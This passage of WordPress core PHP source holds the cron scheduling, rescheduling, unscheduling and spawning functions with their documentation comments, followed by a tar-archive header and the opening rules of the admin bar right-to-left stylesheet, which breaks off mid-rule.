$pre ) { if ( $wp_error && false === $pre ) { return new WP_Error( 'pre_schedule_event_false', __( 'A plugin prevented the event from being scheduled.' ) ); } if ( ! $wp_error && is_wp_error( $pre ) ) { return false; } return $pre; } /* * Check for a duplicated event. * * Don't schedule an event if there's already an identical event * within 10 minutes. * * When scheduling events within ten minutes of the current time, * all past identical events are considered duplicates. * * When scheduling an event with a past timestamp (ie, before the * current time) all events scheduled within the next ten minutes * are considered duplicates. */ $crons = (array) _get_cron_array(); $key = md5( serialize( $event->args ) ); $duplicate = false; if ( $event->timestamp < time() + 10 * MINUTE_IN_SECONDS ) { $min_timestamp = 0; } else { $min_timestamp = $event->timestamp - 10 * MINUTE_IN_SECONDS; } if ( $event->timestamp < time() ) { $max_timestamp = time() + 10 * MINUTE_IN_SECONDS; } else { $max_timestamp = $event->timestamp + 10 * MINUTE_IN_SECONDS; } foreach ( $crons as $event_timestamp => $cron ) { if ( $event_timestamp < $min_timestamp ) { continue; } if ( $event_timestamp > $max_timestamp ) { break; } if ( isset( $cron[ $event->hook ][ $key ] ) ) { $duplicate = true; break; } } if ( $duplicate ) { if ( $wp_error ) { return new WP_Error( 'duplicate_event', __( 'A duplicate event already exists.' ) ); } return false; } /** * Modify an event before it is scheduled. * * @since 3.1.0 * * @param stdClass|false $event { * An object containing an event's data, or boolean false to prevent the event from being scheduled. * * @type string $hook Action hook to execute when the event is run. * @type int $timestamp Unix timestamp (UTC) for when to next run the event. * @type string|false $schedule How often the event should subsequently recur. * @type array $args Array containing each separate argument to pass to the hook's callback function. * @type int $interval The interval time in seconds for the schedule. Only present for recurring events. * } */ $event = apply_filters( 'schedule_event', $event ); // A plugin disallowed this event. if ( ! $event ) { if ( $wp_error ) { return new WP_Error( 'schedule_event_false', __( 'A plugin disallowed this event.' ) ); } return false; } $crons[ $event->timestamp ][ $event->hook ][ $key ] = array( 'schedule' => $event->schedule, 'args' => $event->args, ); uksort( $crons, 'strnatcasecmp' ); return _set_cron_array( $crons, $wp_error ); } /** * Schedules a recurring event. * * Schedules a hook which will be triggered by WordPress at the specified interval. * The action will trigger when someone visits your WordPress site if the scheduled * time has passed. * * Valid values for the recurrence are 'hourly', 'daily', and 'twicedaily'. These can * be extended using the {@see 'cron_schedules'} filter in wp_get_schedules(). * * Note that scheduling an event to occur within 10 minutes of an existing event * with the same action hook will be ignored unless you pass unique `$args` values * for each scheduled event. * * Use wp_next_scheduled() to prevent duplicate events. * * Use wp_schedule_single_event() to schedule a non-recurring event. * * @since 2.1.0 * @since 5.1.0 Return value modified to boolean indicating success or failure, * {@see 'pre_schedule_event'} filter added to short-circuit the function. * @since 5.7.0 The `$wp_error` parameter was added. * * @link https://developer.wordpress.org/reference/functions/wp_schedule_event/ * * @param int $timestamp Unix timestamp (UTC) for when to next run the event. * @param string $recurrence How often the event should subsequently recur. * See wp_get_schedules() for accepted values. * @param string $hook Action hook to execute when the event is run. * @param array $args Optional. Array containing arguments to pass to the * hook's callback function. Each value in the array * is passed to the callback as an individual parameter. * The array keys are ignored. Default empty array. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @return bool|WP_Error True if event successfully scheduled. False or WP_Error on failure. */ function wp_schedule_event( $timestamp, $recurrence, $hook, $args = array(), $wp_error = false ) { // Make sure timestamp is a positive integer. if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) { if ( $wp_error ) { return new WP_Error( 'invalid_timestamp', __( 'Event timestamp must be a valid Unix timestamp.' ) ); } return false; } $schedules = wp_get_schedules(); if ( ! isset( $schedules[ $recurrence ] ) ) { if ( $wp_error ) { return new WP_Error( 'invalid_schedule', __( 'Event schedule does not exist.' ) ); } return false; } $event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => $recurrence, 'args' => $args, 'interval' => $schedules[ $recurrence ]['interval'], ); /** This filter is documented in wp-includes/cron.php */ $pre = apply_filters( 'pre_schedule_event', null, $event, $wp_error ); if ( null !== $pre ) { if ( $wp_error && false === $pre ) { return new WP_Error( 'pre_schedule_event_false', __( 'A plugin prevented the event from being scheduled.' ) ); } if ( ! $wp_error && is_wp_error( $pre ) ) { return false; } return $pre; } /** This filter is documented in wp-includes/cron.php */ $event = apply_filters( 'schedule_event', $event ); // A plugin disallowed this event. if ( ! $event ) { if ( $wp_error ) { return new WP_Error( 'schedule_event_false', __( 'A plugin disallowed this event.' ) ); } return false; } $key = md5( serialize( $event->args ) ); $crons = _get_cron_array(); $crons[ $event->timestamp ][ $event->hook ][ $key ] = array( 'schedule' => $event->schedule, 'args' => $event->args, 'interval' => $event->interval, ); uksort( $crons, 'strnatcasecmp' ); return _set_cron_array( $crons, $wp_error ); } /** * Reschedules a recurring event. * * Mainly for internal use, this takes the time stamp of a previously run * recurring event and reschedules it for its next run. * * To change upcoming scheduled events, use wp_schedule_event() to * change the recurrence frequency. * * @since 2.1.0 * @since 5.1.0 Return value modified to boolean indicating success or failure, * {@see 'pre_reschedule_event'} filter added to short-circuit the function. * @since 5.7.0 The `$wp_error` parameter was added. * * @param int $timestamp Unix timestamp (UTC) for when the event was scheduled. * @param string $recurrence How often the event should subsequently recur. * See wp_get_schedules() for accepted values. * @param string $hook Action hook to execute when the event is run. * @param array $args Optional. Array containing arguments to pass to the * hook's callback function. Each value in the array * is passed to the callback as an individual parameter. * The array keys are ignored. Default empty array. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @return bool|WP_Error True if event successfully rescheduled. False or WP_Error on failure. */ function wp_reschedule_event( $timestamp, $recurrence, $hook, $args = array(), $wp_error = false ) { // Make sure timestamp is a positive integer. if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) { if ( $wp_error ) { return new WP_Error( 'invalid_timestamp', __( 'Event timestamp must be a valid Unix timestamp.' ) ); } return false; } $schedules = wp_get_schedules(); $interval = 0; // First we try to get the interval from the schedule. if ( isset( $schedules[ $recurrence ] ) ) { $interval = $schedules[ $recurrence ]['interval']; } // Now we try to get it from the saved interval in case the schedule disappears. if ( 0 === $interval ) { $scheduled_event = wp_get_scheduled_event( $hook, $args, $timestamp ); if ( $scheduled_event && isset( $scheduled_event->interval ) ) { $interval = $scheduled_event->interval; } } $event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => $recurrence, 'args' => $args, 'interval' => $interval, ); /** * Filter to preflight or hijack rescheduling of events. * * Returning a non-null value will short-circuit the normal rescheduling * process, causing the function to return the filtered value instead. * * For plugins replacing wp-cron, return true if the event was successfully * rescheduled, false if not. * * @since 5.1.0 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned. * * @param null|bool|WP_Error $pre Value to return instead. Default null to continue adding the event. * @param stdClass $event { * An object containing an event's data. * * @type string $hook Action hook to execute when the event is run. * @type int $timestamp Unix timestamp (UTC) for when to next run the event. * @type string|false $schedule How often the event should subsequently recur. * @type array $args Array containing each separate argument to pass to the hook's callback function. * @type int $interval The interval time in seconds for the schedule. Only present for recurring events. * } * @param bool $wp_error Whether to return a WP_Error on failure. */ $pre = apply_filters( 'pre_reschedule_event', null, $event, $wp_error ); if ( null !== $pre ) { if ( $wp_error && false === $pre ) { return new WP_Error( 'pre_reschedule_event_false', __( 'A plugin prevented the event from being rescheduled.' ) ); } if ( ! $wp_error && is_wp_error( $pre ) ) { return false; } return $pre; } // Now we assume something is wrong and fail to schedule. if ( 0 == $interval ) { if ( $wp_error ) { return new WP_Error( 'invalid_schedule', __( 'Event schedule does not exist.' ) ); } return false; } $now = time(); if ( $timestamp >= $now ) { $timestamp = $now + $interval; } else { $timestamp = $now + ( $interval - ( ( $now - $timestamp ) % $interval ) ); } return wp_schedule_event( $timestamp, $recurrence, $hook, $args, $wp_error ); } /** * Unschedule a previously scheduled event. * * The $timestamp and $hook parameters are required so that the event can be * identified. * * @since 2.1.0 * @since 5.1.0 Return value modified to boolean indicating success or failure, * {@see 'pre_unschedule_event'} filter added to short-circuit the function. * @since 5.7.0 The `$wp_error` parameter was added. * * @param int $timestamp Unix timestamp (UTC) of the event. * @param string $hook Action hook of the event. * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function. * Although not passed to a callback, these arguments are used to uniquely identify the * event, so they should be the same as those used when originally scheduling the event. * Default empty array. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @return bool|WP_Error True if event successfully unscheduled. False or WP_Error on failure. */ function wp_unschedule_event( $timestamp, $hook, $args = array(), $wp_error = false ) { // Make sure timestamp is a positive integer. if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) { if ( $wp_error ) { return new WP_Error( 'invalid_timestamp', __( 'Event timestamp must be a valid Unix timestamp.' ) ); } return false; } /** * Filter to preflight or hijack unscheduling of events. * * Returning a non-null value will short-circuit the normal unscheduling * process, causing the function to return the filtered value instead. * * For plugins replacing wp-cron, return true if the event was successfully * unscheduled, false if not. * * @since 5.1.0 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned. * * @param null|bool|WP_Error $pre Value to return instead. Default null to continue unscheduling the event. * @param int $timestamp Timestamp for when to run the event. * @param string $hook Action hook, the execution of which will be unscheduled. * @param array $args Arguments to pass to the hook's callback function. * @param bool $wp_error Whether to return a WP_Error on failure. */ $pre = apply_filters( 'pre_unschedule_event', null, $timestamp, $hook, $args, $wp_error ); if ( null !== $pre ) { if ( $wp_error && false === $pre ) { return new WP_Error( 'pre_unschedule_event_false', __( 'A plugin prevented the event from being unscheduled.' ) ); } if ( ! $wp_error && is_wp_error( $pre ) ) { return false; } return $pre; } $crons = _get_cron_array(); $key = md5( serialize( $args ) ); unset( $crons[ $timestamp ][ $hook ][ $key ] ); if ( empty( $crons[ $timestamp ][ $hook ] ) ) { unset( $crons[ $timestamp ][ $hook ] ); } if ( empty( $crons[ $timestamp ] ) ) { unset( $crons[ $timestamp ] ); } return _set_cron_array( $crons, $wp_error ); } /** * Unschedules all events attached to the hook with the specified arguments. * * Warning: This function may return Boolean FALSE, but may also return a non-Boolean * value which evaluates to FALSE. For information about casting to booleans see the * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use * the `===` operator for testing the return value of this function. * * @since 2.1.0 * @since 5.1.0 Return value modified to indicate success or failure, * {@see 'pre_clear_scheduled_hook'} filter added to short-circuit the function. * @since 5.7.0 The `$wp_error` parameter was added. * * @param string $hook Action hook, the execution of which will be unscheduled. * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function. * Although not passed to a callback, these arguments are used to uniquely identify the * event, so they should be the same as those used when originally scheduling the event. * Default empty array. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @return int|false|WP_Error On success an integer indicating number of events unscheduled (0 indicates no * events were registered with the hook and arguments combination), false or WP_Error * if unscheduling one or more events fail. */ function wp_clear_scheduled_hook( $hook, $args = array(), $wp_error = false ) { // Backward compatibility. // Previously, this function took the arguments as discrete vars rather than an array like the rest of the API. if ( ! is_array( $args ) ) { _deprecated_argument( __FUNCTION__, '3.0.0', __( 'This argument has changed to an array to match the behavior of the other cron functions.' ) ); $args = array_slice( func_get_args(), 1 ); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection $wp_error = false; } /** * Filter to preflight or hijack clearing a scheduled hook. * * Returning a non-null value will short-circuit the normal unscheduling * process, causing the function to return the filtered value instead. * * For plugins replacing wp-cron, return the number of events successfully * unscheduled (zero if no events were registered with the hook) or false * if unscheduling one or more events fails. * * @since 5.1.0 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned. * * @param null|int|false|WP_Error $pre Value to return instead. Default null to continue unscheduling the event. * @param string $hook Action hook, the execution of which will be unscheduled. * @param array $args Arguments to pass to the hook's callback function. * @param bool $wp_error Whether to return a WP_Error on failure. */ $pre = apply_filters( 'pre_clear_scheduled_hook', null, $hook, $args, $wp_error ); if ( null !== $pre ) { if ( $wp_error && false === $pre ) { return new WP_Error( 'pre_clear_scheduled_hook_false', __( 'A plugin prevented the hook from being cleared.' ) ); } if ( ! $wp_error && is_wp_error( $pre ) ) { return false; } return $pre; } /* * This logic duplicates wp_next_scheduled(). * It's required due to a scenario where wp_unschedule_event() fails due to update_option() failing, * and, wp_next_scheduled() returns the same schedule in an infinite loop. */ $crons = _get_cron_array(); if ( empty( $crons ) ) { return 0; } $results = array(); $key = md5( serialize( $args ) ); foreach ( $crons as $timestamp => $cron ) { if ( isset( $cron[ $hook ][ $key ] ) ) { $results[] = wp_unschedule_event( $timestamp, $hook, $args, true ); } } $errors = array_filter( $results, 'is_wp_error' ); $error = new WP_Error(); if ( $errors ) { if ( $wp_error ) { array_walk( $errors, array( $error, 'merge_from' ) ); return $error; } return false; } return count( $results ); } /** * Unschedules all events attached to the hook. * * Can be useful for plugins when deactivating to clean up the cron queue. * * Warning: This function may return Boolean FALSE, but may also return a non-Boolean * value which evaluates to FALSE. For information about casting to booleans see the * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use * the `===` operator for testing the return value of this function. * * @since 4.9.0 * @since 5.1.0 Return value added to indicate success or failure. * @since 5.7.0 The `$wp_error` parameter was added. * * @param string $hook Action hook, the execution of which will be unscheduled. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @return int|false|WP_Error On success an integer indicating number of events unscheduled (0 indicates no * events were registered on the hook), false or WP_Error if unscheduling fails. */ function wp_unschedule_hook( $hook, $wp_error = false ) { /** * Filter to preflight or hijack clearing all events attached to the hook. * * Returning a non-null value will short-circuit the normal unscheduling * process, causing the function to return the filtered value instead. * * For plugins replacing wp-cron, return the number of events successfully * unscheduled (zero if no events were registered with the hook) or false * if unscheduling one or more events fails. * * @since 5.1.0 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned. * * @param null|int|false|WP_Error $pre Value to return instead. Default null to continue unscheduling the hook. * @param string $hook Action hook, the execution of which will be unscheduled. * @param bool $wp_error Whether to return a WP_Error on failure. */ $pre = apply_filters( 'pre_unschedule_hook', null, $hook, $wp_error ); if ( null !== $pre ) { if ( $wp_error && false === $pre ) { return new WP_Error( 'pre_unschedule_hook_false', __( 'A plugin prevented the hook from being cleared.' ) ); } if ( ! $wp_error && is_wp_error( $pre ) ) { return false; } return $pre; } $crons = _get_cron_array(); if ( empty( $crons ) ) { return 0; } $results = array(); foreach ( $crons as $timestamp => $args ) { if ( ! empty( $crons[ $timestamp ][ $hook ] ) ) { $results[] = count( $crons[ $timestamp ][ $hook ] ); } unset( $crons[ $timestamp ][ $hook ] ); if ( empty( $crons[ $timestamp ] ) ) { unset( $crons[ $timestamp ] ); } } /* * If the results are empty (zero events to unschedule), no attempt * to update the cron array is required. */ if ( empty( $results ) ) { return 0; } $set = _set_cron_array( $crons, $wp_error ); if ( true === $set ) { return array_sum( $results ); } return $set; } /** * Retrieve a scheduled event. * * Retrieve the full event object for a given event, if no timestamp is specified the next * scheduled event is returned. * * @since 5.1.0 * * @param string $hook Action hook of the event. * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function. * Although not passed to a callback, these arguments are used to uniquely identify the * event, so they should be the same as those used when originally scheduling the event. * Default empty array. * @param int|null $timestamp Optional. Unix timestamp (UTC) of the event. If not specified, the next scheduled event * is returned. Default null. * @return object|false The event object. False if the event does not exist. */ function wp_get_scheduled_event( $hook, $args = array(), $timestamp = null ) { /** * Filter to preflight or hijack retrieving a scheduled event. * * Returning a non-null value will short-circuit the normal process, * returning the filtered value instead. * * Return false if the event does not exist, otherwise an event object * should be returned. * * @since 5.1.0 * * @param null|false|object $pre Value to return instead. Default null to continue retrieving the event. * @param string $hook Action hook of the event. * @param array $args Array containing each separate argument to pass to the hook's callback function. * Although not passed to a callback, these arguments are used to uniquely identify * the event. * @param int|null $timestamp Unix timestamp (UTC) of the event. Null to retrieve next scheduled event. */ $pre = apply_filters( 'pre_get_scheduled_event', null, $hook, $args, $timestamp ); if ( null !== $pre ) { return $pre; } if ( null !== $timestamp && ! is_numeric( $timestamp ) ) { return false; } $crons = _get_cron_array(); if ( empty( $crons ) ) { return false; } $key = md5( serialize( $args ) ); if ( ! $timestamp ) { // Get next event. $next = false; foreach ( $crons as $timestamp => $cron ) { if ( isset( $cron[ $hook ][ $key ] ) ) { $next = $timestamp; break; } } if ( ! $next ) { return false; } $timestamp = $next; } elseif ( ! isset( $crons[ $timestamp ][ $hook ][ $key ] ) ) { return false; } $event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => $crons[ $timestamp ][ $hook ][ $key ]['schedule'], 'args' => $args, ); if ( isset( $crons[ $timestamp ][ $hook ][ $key ]['interval'] ) ) { $event->interval = $crons[ $timestamp ][ $hook ][ $key ]['interval']; } return $event; } /** * Retrieve the next timestamp for an event. * * @since 2.1.0 * * @param string $hook Action hook of the event. * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function. * Although not passed to a callback, these arguments are used to uniquely identify the * event, so they should be the same as those used when originally scheduling the event. * Default empty array. * @return int|false The Unix timestamp of the next time the event will occur. False if the event doesn't exist. */ function wp_next_scheduled( $hook, $args = array() ) { $next_event = wp_get_scheduled_event( $hook, $args ); if ( ! $next_event ) { return false; } return $next_event->timestamp; } /** * Sends a request to run cron through HTTP request that doesn't halt page loading. * * @since 2.1.0 * @since 5.1.0 Return values added. * * @param int $gmt_time Optional. Unix timestamp (UTC). Default 0 (current time is used). * @return bool True if spawned, false if no events spawned. */ function spawn_cron( $gmt_time = 0 ) { if ( ! $gmt_time ) { $gmt_time = microtime( true ); } if ( defined( 'DOING_CRON' ) || isset( $_GET['doing_wp_cron'] ) ) { return false; } /* * Get the cron lock, which is a Unix timestamp of when the last cron was spawned * and has not finished running. * * Multiple processes on multiple web servers can run this code concurrently, * this lock attempts to make spawning as atomic as possible. */ $lock = get_transient( 'doing_cron' ); if ( $lock > $gmt_time + 10 * MINUTE_IN_SECONDS ) { $lock = 0; } // Don't run if another process is currently running it or more than once every 60 sec. if ( $lock + WP_CRON_LOCK_TIMEOUT > $gmt_time ) { return false; } // Sanity check. $crons = wp_get_ready_cron_jobs(); if ( empty( $crons ) ) { return false; } $keys = array_keys( $crons ); if ( isset( $keys[0] ) && $keys[0] > $gmt_time ) { return false; } if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) { if ( 'GET' !== $_SERVER['REQUEST_METHOD'] || defined( 'DOING_AJAX' ) || defined( 'XMLRPC_REQUEST' ) ) { return false; } $doing_wp_cron = sprintf( '%.22F', $gmt_time ); set_transient( 'doing_cron', $doing_wp_cron ); ob_start(); wp_redirect( add_query_arg( 'doing_wp_cron', $doing_wp_cron, wp_unslash( $_SERVER['REQUEST_URI'] ) ) ); echo ' '; // Flush any buffers and send the headers. wp_ob_end_flush_all(); flush(); include_once ABSPATH . 'wp-cron.php'; return true; } // Set the cron lock with the current unix timestamp, when the cron is being spawned. $doing_wp_cron = sprintf( '%.22F', $gmt_time ); set_transient( 'doing_cron', $doing_wp_cron ); /** * Filters the cron request arguments. * * @since 3.5.0 * @since 4.5.0 The `$doing_wp_cron` parameter was added. * * @param array $cron_request_array { * An array of cron request URL arguments. * * @type string $url The cron request URL. * @type int $key The 22 digit GMT microtime. * @type array $args { * An array of cron request arguments. * * @type int $timeout The request timeout in seconds. Default .01 seconds. * @type bool $blocking Whether to set blocking for the request. Default false. * @type bool $sslverify Whether SSL should be verified for the request. Default false. * } * } * @param string $doing_wp_cron The unix timestamp of the cron lock. */ $cron_request = apply_filters( 'cron_request', array( 'url' => add_query_arg( 'doing_wp_cron', $doing_wp_cron, site_url( 'wp-cron.php' ) ), 'key' => $doing_wp_cron, 'args' => array( 'timeout' => 0.01, 'blocking' => false, /** This filter is documented in wp-includes/class-wp-http-streams.php */ 'sslverify' => apply_filters( 'https_local_ssl_verify', false ), ), ), $doing_wp_cron ); $result = wp_remote_post( $cron_request['url'], $cron_request['args'] ); return ! is_wp_error( $result ); } /** * Register _wp_cron() to run on the {@see 'wp_loaded'} action. * * If the {@see 'wp_loaded'} action has already fired, this function calls * _wp_cron() directly. * * Warning: This function may return Boolean FALSE, but may also return a non-Boolean * value which evaluates to FALSE. For information about casting to booleans see the * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use * the `===` operator for testing the return value of this function. * * @since 2.1.0 * @since 5.1.0 Return value added to indicate success or failure. * @since 5.7.0 Functionality moved to _wp_cron() to which this becomes a wrapper. * * @return bool|int|void On success an integer indicating number of events spawned (0 indicates no * events needed to be spawned), false if spawning fails for one or more events or * void if the function registered _wp_cron() to run on the action. */ function wp_cron() { if ( did_action( 'wp_loaded' ) ) { return _wp_cron(); } add_action( 'wp_loaded', '_wp_cron', 20 ); } /** * Run scheduled callbacks or spawn cron for all scheduled events. * * Warning: This function may return Boolean FALSE, but may also return a non-Boolean * value which evaluates to FALSE. For information about casting to booleans see the * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use * the `===` operator for testing the return value of this function. * * @since 5.7.0 * @access private * * @return int|false On success an integer indicating number of events spawned (0 indicates no * events needed to be spawned), false if spawning fails for one or more events. */ function _wp_cron() { // Prevent infinite loops caused by lack of wp-cron.php. if ( strpos( $_SERVER['REQUEST_URI'], '/wp-cron.php' ) !== false || ( defined( 'DISABLE_WP_CRON' ) && DISABLE_WP_CRON ) ) { return 0; } $crons = wp_get_ready_cron_jobs(); if ( empty( $crons ) ) { return 0; } $gmt_time = microtime( true ); $keys = array_keys( $crons ); if ( isset( $keys[0] ) && $keys[0] > $gmt_time ) { return 0; } $schedules = wp_get_schedules(); $results = array(); foreach ( $crons as $timestamp => $cronhooks ) { if ( $timestamp > $gmt_time ) { break; } foreach ( (array) $cronhooks as $hook => $args ) { if ( isset( $schedules[ $hook ]['callback'] ) && ! call_user_func( $schedules[ $hook ]['callback'] ) ) { continue; } $results[] = spawn_cron( $gmt_time ); break 2; } } if ( in_array( false, $results, true ) ) { return false; } return count( $results ); } /** * Retrieve supported event recurrence schedules. * * The default supported recurrences are 'hourly', 'twicedaily', 'daily', and 'weekly'. * A plugin may add more by hooking into the {@see 'cron_schedules'} filter. * The filter accepts an array of arrays. The outer array has a key that is the name * of the schedule, for example 'monthly'. The value is an array with two keys, * one is 'interval' and the other is 'display'. * * The 'interval' is a number in seconds of when the cron job should run. * So for 'hourly' the time is `HOUR_IN_SECONDS` (60 * 60 or 3600). For 'monthly', * the value would be `MONTH_IN_SECONDS` (30 * 24 * 60 * 60 or 2592000). * * The 'display' is the description. For the 'monthly' key, the 'display' * would be `__( 'Once Monthly' )`. * * For your plugin, you will be passed an array. You can easily add your * schedule by doing the following. * * // Filter parameter variable name is 'array'. * $array['monthly'] = array( * 'interval' => MONTH_IN_SECONDS, * 'display' => __( 'Once Monthly' ) * ); * * @since 2.1.0 * @since 5.4.0 The 'weekly' schedule was added. * * @return array */ function wp_get_schedules() { $schedules = array( 'hourly' => array( 'interval' => HOUR_IN_SECONDS, 'display' => __( 'Once Hourly' ), ), 'twicedaily' => array( 'interval' => 12 * HOUR_IN_SECONDS, 'display' => __( 'Twice Daily' ), ), 'daily' => array( 'interval' => DAY_IN_SECONDS, 'display' => __( 'Once Daily' ), ), 'weekly' => array( 'interval' => WEEK_IN_SECONDS, 'display' => __( 'Once Weekly' ), ), ); /** * Filters the non-default cron schedules. * * @since 2.1.0 * * @param array $new_schedules An array of non-default cron schedules. Default empty. */ return array_merge( apply_filters( 'cron_schedules', array() ), $schedules ); } /** * Retrieve the recurrence schedule for an event. * * @see wp_get_schedules() for available schedules. * * @since 2.1.0 * @since 5.1.0 {@see 'get_schedule'} filter added. * * @param string $hook Action hook to identify the event. * @param array $args Optional. Arguments passed to the event's callback function. * Default empty array. * @return string|false Schedule name on success, false if no schedule. */ function wp_get_schedule( $hook, $args = array() ) { $schedule = false; $event = wp_get_scheduled_event( $hook, $args ); if ( $event ) { $schedule = $event->schedule; } /** * Filters the schedule for a hook. * * @since 5.1.0 * * @param string|false $schedule Schedule for the hook. False if not found. * @param string $hook Action hook to execute when cron is run. * @param array $args Arguments to pass to the hook's callback function. */ return apply_filters( 'get_schedule', $schedule, $hook, $args ); } /** * Retrieve cron jobs ready to be run. * * Returns the results of _get_cron_array() limited to events ready to be run, * ie, with a timestamp in the past. * * @since 5.1.0 * * @return array Cron jobs ready to be run. */ function wp_get_ready_cron_jobs() { /** * Filter to preflight or hijack retrieving ready cron jobs. * * Returning an array will short-circuit the normal retrieval of ready * cron jobs, causing the function to return the filtered value instead. * * @since 5.1.0 * * @param null|array $pre Array of ready cron tasks to return instead. Default null * to continue using results from _get_cron_array(). */ $pre = apply_filters( 'pre_get_ready_cron_jobs', null ); if ( null !== $pre ) { return $pre; } $crons = _get_cron_array(); if ( false === $crons ) { return array(); } $gmt_time = microtime( true ); $keys = array_keys( $crons ); if ( isset( $keys[0] ) && $keys[0] > $gmt_time ) { return array(); } $results = array(); foreach ( $crons as $timestamp => $cronhooks ) { if ( $timestamp > $gmt_time ) { break; } $results[ $timestamp ] = $cronhooks; } return $results; } // // Private functions. // /** * Retrieve cron info array option. * * @since 2.1.0 * @access private * * @return array|false Cron info array on success, false on failure. */ function _get_cron_array() { $cron = get_option( 'cron' ); if ( ! is_array( $cron ) ) { return false; } if ( ! isset( $cron['version'] ) ) { $cron = _upgrade_cron_array( $cron ); } unset( $cron['version'] ); return $cron; } /** * Updates the cron option with the new cron array. * * @since 2.1.0 * @since 5.1.0 Return value modified to outcome of update_option(). * @since 5.7.0 The `$wp_error` parameter was added. * * @access private * * @param array $cron Cron info array from _get_cron_array(). * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @return bool|WP_Error True if cron array updated. False or WP_Error on failure. */ function _set_cron_array( $cron, $wp_error = false ) { $cron['version'] = 2; $result = update_option( 'cron', $cron ); if ( $wp_error && ! $result ) { return new WP_Error( 'could_not_set', __( 'The cron event list could not be saved.' ) ); } return $result; } /** * Upgrade a Cron info array. * * This function upgrades the Cron info array to version 2. * * @since 2.1.0 * @access private * * @param array $cron Cron info array from _get_cron_array(). * @return array An upgraded Cron info array. */ function _upgrade_cron_array( $cron ) { if ( isset( $cron['version'] ) && 2 == $cron['version'] ) { return $cron; } $new_cron = array(); foreach ( (array) $cron as $timestamp => $hooks ) { foreach ( (array) $hooks as $hook => $args ) { $key = md5( serialize( $args['args'] ) ); $new_cron[ $timestamp ][ $hook ][ $key ] = $args; } } $new_cron['version'] = 2; update_option( 'cron', $new_cron ); return $new_cron; } css/admin-bar-rtl.css000064400000056546151202620300010506 0ustar00/*! This file is auto-generated */ #wpadminbar * { height: auto; width: auto; margin: 0; padding: 0; position: static; text-shadow: none; text-transform: none; letter-spacing: normal; font-size: 13px; font-weight: 400; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 2.46153846; border-radius: 0; box-sizing: content-box; transition: none; -webkit-font-smoothing: subpixel-antialiased; /* Prevent Safari from switching to standard antialiasing on hover */ -moz-osx-font-smoothing: auto; /* Prevent Firefox from inheriting from themes that use other values */ } .rtl #wpadminbar * { font-family: Tahoma, sans-serif; } html:lang(he-il) .rtl #wpadminbar * { font-family: Arial, sans-serif; } #wpadminbar .ab-empty-item { cursor: default; } #wpadminbar .ab-empty-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #f0f0f1; } #wpadminbar #wp-admin-bar-site-name a.ab-item, #wpadminbar #wp-admin-bar-my-sites a.ab-item { white-space: nowrap; } #wpadminbar ul li:before, #wpadminbar ul li:after { content: normal; } #wpadminbar a, #wpadminbar a:hover, #wpadminbar a img, #wpadminbar a img:hover { border: none; text-decoration: none; background: none; } #wpadminbar a:focus, #wpadminbar a:active, #wpadminbar input[type="text"], #wpadminbar input[type="password"], #wpadminbar input[type="number"], #wpadminbar input[type="search"], #wpadminbar input[type="email"], #wpadminbar input[type="url"], #wpadminbar select, #wpadminbar textarea, #wpadminbar div { box-shadow: none; } #wpadminbar a:focus { /* Inherits transparent outline only visible in Windows High Contrast mode */ outline-offset: -1px; } #wpadminbar { direction: rtl; color: #c3c4c7; font-size: 13px; font-weight: 400; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 2.46153846; height: 32px; position: fixed; top: 0; right: 0; width: 100%; min-width: 600px; /* match the min-width of the body in wp-admin/css/common.css */ z-index: 99999; background: #1d2327; } #wpadminbar .ab-sub-wrapper, #wpadminbar ul, #wpadminbar ul li { background: none; clear: none; list-style: none; margin: 0; padding: 0; position: relative; text-indent: 0; z-index: 99999; } #wpadminbar ul#wp-admin-bar-root-default>li { margin-left: 0; } #wpadminbar .quicklinks ul { text-align: right; } #wpadminbar li { float: right; } #wpadminbar .ab-empty-item { outline: none; } #wpadminbar .quicklinks .ab-top-secondary > li { float: left; } #wpadminbar .quicklinks a, #wpadminbar .quicklinks .ab-empty-item, #wpadminbar .shortlink-input { height: 32px; display: block; padding: 0 10px; margin: 0; } #wpadminbar .quicklinks > ul > li > a { padding: 0 7px 0 8px; } #wpadminbar .menupop .ab-sub-wrapper, #wpadminbar .shortlink-input { margin: 0; padding: 0; box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2); background: #2c3338; display: none; position: absolute; float: none; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper { min-width: 100%; } #wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper { left: 0; right: auto; } #wpadminbar .ab-submenu { padding: 6px 0; } #wpadminbar .selected .shortlink-input { display: block; } #wpadminbar .quicklinks .menupop ul li { float: none; } #wpadminbar 